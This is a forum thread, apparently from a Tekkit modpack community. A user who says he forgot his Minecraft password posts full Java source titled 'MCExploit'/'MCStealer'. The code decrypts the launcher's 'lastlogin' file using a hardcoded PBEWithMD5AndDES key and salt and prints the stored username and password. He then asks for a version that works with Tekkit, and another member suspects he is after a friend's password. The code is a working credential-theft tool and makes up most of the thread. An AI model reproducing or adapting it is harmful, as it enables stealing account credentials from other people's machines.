Jump to content

Help, last login file...


Lucas Souza

Recommended Posts

I'm sorry if this is not the right place to put this topic, but I don't know what to do anymore, I forgot my password and I know a little bit of JAVA, so I try to hack the login file to recovery my password, but I only know how to do that on a minecraft loginfile, in tekkit I don't have an ideia, I try a million times 'forget my password' on the minecraft.net, but nothing help, please, someone, help me...

Link to comment
Share on other sites

I know that, I move the lastlogin to the .minecraft folder and I use this code:

import java.io.*;

import java.net.*;

import java.util.*;

import javax.crypto.*;

import javax.crypto.spec.*;

public class MCExploit

{ public static void main(String[] args) throws Exception {

System.out.println(MCStealer()); } public static String MCStealer() throws Exception {

String output = null;

Random random = new Random(43287234L);

byte[] salt = new byte[8];

random.nextBytes(salt);

PBEParameterSpec pbeParamSpec = new PBEParameterSpec(salt, 5);

SecretKey pbeKey = SecretKeyFactory.getInstance("PBEWithMD5AndDES").generateSecret(new PBEKeySpec("passwordfile".toCharArray()));

Cipher cipher = Cipher.getInstance("PBEWithMD5AndDES");

cipher.init(2, pbeKey, pbeParamSpec);

if (getWorkingDirectory().exists())

{ File lastLogin = new File(getWorkingDirectory(), "lastlogin"); DataInputStream dis = new DataInputStream(new CipherInputStream(new FileInputStream(lastLogin), cipher)); output = dis.readUTF() + " | " + dis.readUTF(); dis.close();

}

return output; } public static File getWorkingDirectory() {

String userHome = System.getProperty("user.home", ".");

File workingDirectory;

switch (getPlatform())

{ case 1: case 2: workingDirectory = new File(userHome, ".minecraft/"); break; case 3: String applicationData = System.getenv("APPDATA"); if (applicationData != null) workingDirectory = new File(applicationData, ".minecraft/"); else workingDirectory = new File(userHome, ".minecraft/"); break; case 4: workingDirectory = new File(userHome, "Library/Application Support/minecraft"); break; default: workingDirectory = new File(userHome, ".minecraft/");

}

return workingDirectory; } private static int getPlatform() {

String osName = System.getProperty("os.name").toLowerCase();

if (osName.contains("linux")) return 1;

if (osName.contains("unix")) return 1;

if (osName.contains("solaris")) return 2;

if (osName.contains("sunos")) return 2;

if (osName.contains("win")) return 3;

if (osName.contains("mac")) return 4;

return 5; }

}

And yes, it's true --'

But that code doesn't work in tekkit, only minecraft

Link to comment
Share on other sites

I try a million times 'forget my password' on the minecraft.net, but nothing help, please, someone, help me...

And why didn't that work, may I ask? Either you forgot your email password too, in which case, you have bigger problems than just this, or you're trying to get a friend's password out of the lastlogin.

Link to comment
Share on other sites

And why didn't that work, may I ask? Either you forgot your email password too, in which case, you have bigger problems than just this, or you're trying to get a friend's password out of the lastlogin.

No, I'm not, I don't know which of my e-mails I put, I had almost sure that was the hotmail one, but it's not, one time I tell a friend of mine my password, and I changed it, but download the tekkit, so I didn't write the password for a long time and forgot, I THINK that my friend change my e-mail, but I don't know, because the password still the same .-.

Link to comment
Share on other sites

Create an account or sign in to comment

You need to be a member in order to leave a comment

Create an account

Sign up for a new account in our community. It's easy!

Register a new account

Sign in

Already have an account? Sign in here.

Sign In Now
×
×
  • Create New...